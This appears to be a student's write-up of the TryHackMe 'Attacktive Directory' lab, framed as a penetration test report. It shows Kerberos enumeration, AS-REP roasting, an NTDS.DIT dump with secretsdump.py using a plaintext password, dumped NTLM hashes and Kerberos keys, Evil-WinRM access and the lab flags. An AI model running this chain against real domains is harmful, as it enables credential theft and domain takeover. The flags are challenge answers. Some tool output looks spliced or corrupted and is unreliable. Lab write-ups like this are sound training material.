

# Active Directory Penetration Testing Report

Done by **Lia Potikyan**

*99% of Corporate  
networks run off of AD.  
But can you exploit a  
vulnerable Domain  
Controller?*



## Executive Summary

---

This penetration test aimed to assess the security posture of an Active Directory (AD) environment provided by TryHackMe. The assessment involved several phases, including reconnaissance, enumeration, exploitation, and privilege escalation. By leveraging tools like Impacket, BloodHound, Kerbrute, and Evil-WinRM, various vulnerabilities and misconfigurations were identified and exploited.

## Scope

---

The scope of this penetration test focused on the Attacktive Directory room provided by TryHackMe. It included the enumeration of users and services, exploitation of vulnerabilities within the AD environment, and privilege escalation to gain administrative access.

Start Date	End Date
April 2, 2024	April 4, 2024

## The penetration testing followed a systematic approach

---

**Enumeration:** Utilized tools like Nmap for network scanning and Enum4linux for enumerating users and shares.

**Exploitation:** Leveraged Kerbrute for user enumeration and ASREPROasting. Utilized Impacket tools for exploiting weaknesses in Kerberos and dumping password hashes.

**Privilege Escalation:** Used Pass the Hash technique and Evil-WinRM for privilege escalation and obtaining administrator access.

**Flag Retrieval:** Retrieved flags from compromised accounts using Evil-WinRM.

## Findings

---

Identified vulnerabilities in the Active Directory environment. Successfully enumerated users and extracted password hashes. Exploited ASREPROasting vulnerability to retrieve password hashes without authentication.

Dumped NTDS.DIT using Impacket tools, gaining access to sensitive information.

Utilized Pass the Hash technique for authentication without plaintext passwords.

Leveraged Evil-WinRM for privilege escalation and flag retrieval.

## Enumeration and Weakness Discovery

Thorough enumeration and scanning revealed misconfigurations, outdated software, and exploitable vulnerabilities.

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-02 12:30 EDT
Nmap scan report for 10.10.224.95
Host is up (0.093s latency).
Not shown: 987 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
80/tcp    open  http         Microsoft IIS httpd 10.0
|_ http-methods:
|_ Potentially risky methods: TRACE
|_ http-title: IIS Windows Server
|_ http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2024-04-02 16:30:55Z)
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp    open  ldap         Microsoft Windows Active Directory LDAP (Domain: spookysc.local0., Site: Default-First-Site-Name)
445/tcp    open  microsoft-ds?
464/tcp    open  kpasswd5?
593/tcp    open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp    open  tcpwrapped
3268/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: spookysc.local0., Site: Default-First-Site-Name)
3269/tcp   open  tcpwrapped
3389/tcp   open  ms-wbt-server Microsoft Terminal Services
|_ rdp-ntlm-info:
|_ Target Name: THM-AD
|_ NetBIOS_Domain_Name: THM-AD
|_ NetBIOS_Computer_Name: ATTACKTIVEDIREC
|_ DNS_Domain_Name: spookysc.local
|_ DNS_Computer_Name: AttacktiveDirectory.spookysc.local
|_ DNS_Tree_Name: spookysc.local
|_ Product_Version: 10.0.17763
|_ System_Time: 2024-04-02T16:31:01+00:00
|_ ssl-date: 2024-04-02T16:31:10+00:00; -14s from scanner time.
|_ ssl-cert: Subject: commonName=AttacktiveDirectory.spookysc.local
|_ Not valid before: 2024-04-01T15:43:13
|_ Not valid after: 2024-10-01T15:43:13
Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows
```

## User Enumeration and Password Extraction

Tools like Enum4linux aided in user enumeration, while Kerbrute and Impacket were used to extract password hashes from the domain controller.

```

th30n3wh0...
2024-04-02 11:42:23 DCO version: N/A
2024-04-02 11:42:23 TCP/UDP: Preserving recently
used remote address: [AF_INET]10.10.224.95
2024-04-02 11:42:23 Socket Buffers: R=[212992->425984] S=[212992->425984]
2024-04-02 11:42:23 UDPv4 link local: (not bound)
2024-04-02 11:42:23 UDPv4 link remote: [AF_INET]54.76.30.11:1194
Version: v1.0.3 (9dad6e1) - 04/02/24 - Ronnie Flathers @ropnop

2024/04/02 13:18:09 > Using KDC(s): 10.10.224.95:88
2024/04/02 13:18:09 >

2024/04/02 13:18:09 > [+] VALID USERNAME: james@spookysec.local
2024/04/02 13:18:11 > [+] VALID USERNAME: svc-admin@spookysec.local
2024/04/02 13:18:13 > [+] VALID USERNAME: James@spookysec.local
2024/04/02 13:18:14 > [+] VALID USERNAME: robin@spookysec.local
2024/04/02 13:18:22 > [+] VALID USERNAME: darkstar@spookysec.local
2024/04/02 13:18:27 > [+] VALID USERNAME: administrator@spookysec.local
2024/04/02 13:18:37 > [+] VALID USERNAME: backup@spookysec.local
2024/04/02 13:18:42 > [+] VALID USERNAME: paradox@spookysec.local
2024/04/02 13:19:10 > [+] VALID USERNAME: JAMES@spookysec.local
2024/04/02 13:19:20 > [+] VALID USERNAME: Robin@spookysec.local

```

```

Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Apr  2 13:06:28 2024

===== ( Target Information ) =====
Target ..... 10.10.224.95
RID Range ..... 500-550,1000-1050
Username ..... 
Password ..... 
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

===== ( Enumerating Workgroup/Domain on 10.10.224.95 ) =====
[E] Can't find workgroup/domain

===== ( Nbtstat Information for 10.10.224.95 ) =====
Looking up status of 10.10.224.95 :23 Socket Buffers: R=[212992->425984] S=[212992->425984]
No reply from 10.10.224.95

===== ( Session Check on 10.10.224.95 ) =====
[+] Server 10.10.224.95 allows sessions using username '', password ''

===== ( Getting domain SID for 10.10.224.95 ) =====
Domain Name: THM-AD
Domain Sid: S-1-5-21-3591857110-2884097990-301047963

[+] Host is part of a domain (not a workgroup)

```

## ASREPROasting Exploitation

Exploited the ASREPROasting vulnerability to retrieve password hashes without authentication by targeting accounts with "Does not require Pre-Authentication" set.

```
Impacket v0.12.0.dev1+20240327.181547.f8899e65 - Copyright 2023 Fortra
[*] Getting TGT for svc-admin
$krb5asrep$23$svc-admin@SP00KYSEC.LOCAL:8192100e64d248a9a6328d2d92545c61$7d
cc37acb5446817e981649b03016dc88f03d63e1a2db2056c83cb7301a2b4f5eb61462829afd
d4732894a0cebd1819dc37ec6fd29c002a2f8c8c6ec8d0bfa7a5bbcd8338e0cdd5836305d82
```

## NTDS.DIT Dumping

Used Impacket's secretsdump.py to dump the NTDS.DIT file, gaining access to sensitive information including password hashes and user accounts.

```
$ python3 /opt/impacket/examples/secretsdump.py -dc-ip 10.10.156.250 spookysec.local/backup:backup2517860@10.10.156.250
Impacket v0.12.0.dev1+20240327.181547.f8899e65 - Copyright 2023 Fortra

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uuid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0e2eb8158c27bed09861033026be4c21:::
spookysec.local\skidy:1103:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysec.local\breakerofthings:1104:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4::: [NULL] tab1
spookysec.local\james:1105:aad3b435b51404eeaad3b435b51404ee:9448bf6aba63d154eb0c665071067b6b:::
spookysec.local\optional:1106:aad3b435b51404eeaad3b435b51404ee:436007d1c1550eaf41803f1272656c9e:::
spookysec.local\sherlocksec:1107:aad3b435b51404eeaad3b435b51404ee:b09d48380e99e9965416f0d7096b703b:::
spookysec.local\darkstar:1108:aad3b435b51404eeaad3b435b51404ee:cfdf70af882d53d758a1612af78a646b7::: SHA512, peer-id
spookysec.local\Ori:1109:aad3b435b51404eeaad3b435b51404ee:c930ba49f999305d9c00a8745433d62a:::
spookysec.local\robin:1110:aad3b435b51404eeaad3b435b51404ee:642744a46b9d4f6dff8942d23626e5bb:::
spookysec.local\paradox:1111:aad3b435b51404eeaad3b435b51404ee:048052193cfa6ea46b5a302319c0cff2:::
spookysec.local\Muirland:1112:aad3b435b51404eeaad3b435b51404ee:3db8b1419ae75a418b3aa12b8c0fb705:::
spookysec.local\horshark:1113:aad3b435b51404eeaad3b435b51404ee:41317db6bd1fb8c21c2fd2b675238664:::
spookysec.local\svc-admin:1114:aad3b435b51404eeaad3b435b51404ee:fc0f1e5359e372aa1f69147375ba6809:::
spookysec.local\backup:1118:aad3b435b51404eeaad3b435b51404ee:19741bde08e135f4b40f1ca9aab45538:::
spookysec.local\~spooks:1601:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
ATTACKTIVEDIRECTORY:1000:aad3b435b51404eeaad3b435b51404ee:d520c280afc402835c519f541b214884:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:713955f08a8654fb8f70afe0e24bb50eed14e53c8b2274c0c701ad2948ee0f48
Administrator:aes128-cts-hmac-sha1-96:e9077719bc770aff5d8bfc2d54d226ae
Administrator:des-cbc-md5:2079ce0e5df189ad
```



## Pass the Hash Authentication

Leveraged Pass the Hash technique to authenticate to remote services without plaintext passwords, bypassing traditional authentication mechanisms.

## Evil-WinRM Privilege Escalation

Utilized Evil-WinRM for remote command execution and privilege escalation, gaining elevated access to the system and retrieving flags from compromised accounts.

```
Directory: C:\Users\svc-admin\Desktop
Mode                LastWriteTime         Length Name
----                -
-a----            4/4/2020  12:18 PM             28 user.txt.txt

*Evil-WinRM* PS C:\Users\svc-admin\Desktop> cat user.txt.txt
TryHackMe{K3rb3r0s_Pr3_4uth}

*Evil-WinRM* PS C:\Users\svc-admin\Desktop> cd C:\Users\backup\Desktop
*Evil-WinRM* PS C:\Users\backup\Desktop> ls

Directory: C:\Users\backup\Desktop
Mode                LastWriteTime         Length Name
----                -
-a----            4/4/2020  12:19 PM             26 PrivEsc.txt

*Evil-WinRM* PS C:\Users\backup\Desktop> cat PrivEsc.txt
TryHackMe{B4ckM3UpSc0tty!}

*Evil-WinRM* PS C:\Users\backup\Desktop> cd C:\Users\Administrator\Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls

Directory: C:\Users\Administrator\Desktop
Mode                LastWriteTime         Length Name
----                -
-a----            4/4/2020  11:39 AM             32 root.txt

*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
TryHackMe{4ctiveD1rectoryM4st3r}
```

## Solution

---

### **Patch and Update:**

Address identified vulnerabilities by applying patches and updates to misconfigured systems and outdated software versions. Regularly monitor for new security advisories and apply patches promptly.

### **Enhanced Authentication Mechanisms:**

Implement stronger authentication mechanisms to mitigate vulnerabilities such as ASREPROasting. Enforce stricter password policies, enable multi-factor authentication, and limit privileges for accounts vulnerable to such attacks.

### **Access Control and Monitoring:**

Implement access controls to restrict unauthorized access to sensitive resources. Utilize monitoring tools to detect and respond to suspicious activities, including unauthorized access attempts and unusual user behavior.

### **Regular Security Assessments:**

Conduct regular security assessments, including penetration testing and vulnerability scanning, to proactively identify and remediate security weaknesses within the Active Directory environment.

## Conclusion

---

The penetration testing exercise on the Active Directory environment revealed critical vulnerabilities and weaknesses that could potentially compromise the security of the organization. Through thorough enumeration, exploitation of vulnerabilities, and privilege escalation techniques, the assessment highlighted the importance of robust security



---

measures to protect against unauthorized access and data breaches.

By implementing the recommended solutions, including patching vulnerabilities, enhancing authentication mechanisms, enforcing access controls, and conducting regular security assessments, organizations can strengthen the security posture of their Active Directory environment and mitigate the risks associated with potential cyber threats.

Overall, the penetration test serves as a valuable exercise in identifying and addressing security gaps, ultimately contributing to the enhancement of the organization's cybersecurity resilience and preparedness.

**Lia Potikyan**

**[liapotikyan006@gmail.com](mailto:liapotikyan006@gmail.com)**